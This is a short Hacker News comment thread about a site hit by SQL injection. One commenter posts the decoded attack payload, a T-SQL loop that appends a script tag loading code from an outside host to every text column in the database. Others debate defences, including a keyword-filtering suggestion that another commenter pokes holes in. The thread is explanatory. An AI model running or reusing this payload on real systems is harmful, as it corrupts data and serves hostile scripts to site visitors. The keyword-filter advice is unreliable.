

SQL "development" gone horribly wrong...  - avner
http://boston.craigslist.org/gbs/sof/742662737.html

======
dizm
Decoded:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT
a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
src=[http://www.suppadw.com/b.js></script>'''](http://www.suppadw.com/b.js></script>'''));''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE
Table_Cursor

------
PStamatiou
shared hosting? get your own box, turn off apache for a while and go through
code with a fine tooth comb.

~~~
ajross
SQL injection attacks have nothing to do with whether they are on a shared box
or running in a locked down cage. If they have any hope of fixing this mess,
they need to start from advice that helps, not voodoo.

~~~
PStamatiou
I just meant if they had their own box they would have more control over it..
they said they had to wait for a support guy with perms to do the db restores.

------
sabat
\- all web input needs to run thru the same filter \- that filter disallows
SQL keywords \- you're done

If this guy wasn't on a shared host, he could just install mod_security and
its default config should take care of it. Presuming Apache of course.

~~~
LogicHoleFlaw
I think ANDrew, TOny, SETh, and BYron might have problems with that filter.

~~~
sabat
They might if the programmer didn't have the sense to surround the keywords
with word boundary markers. You know, something like %20SET%20 etc. I do this
successfully with mod_security, and a good regex kit will let you do this
easily.

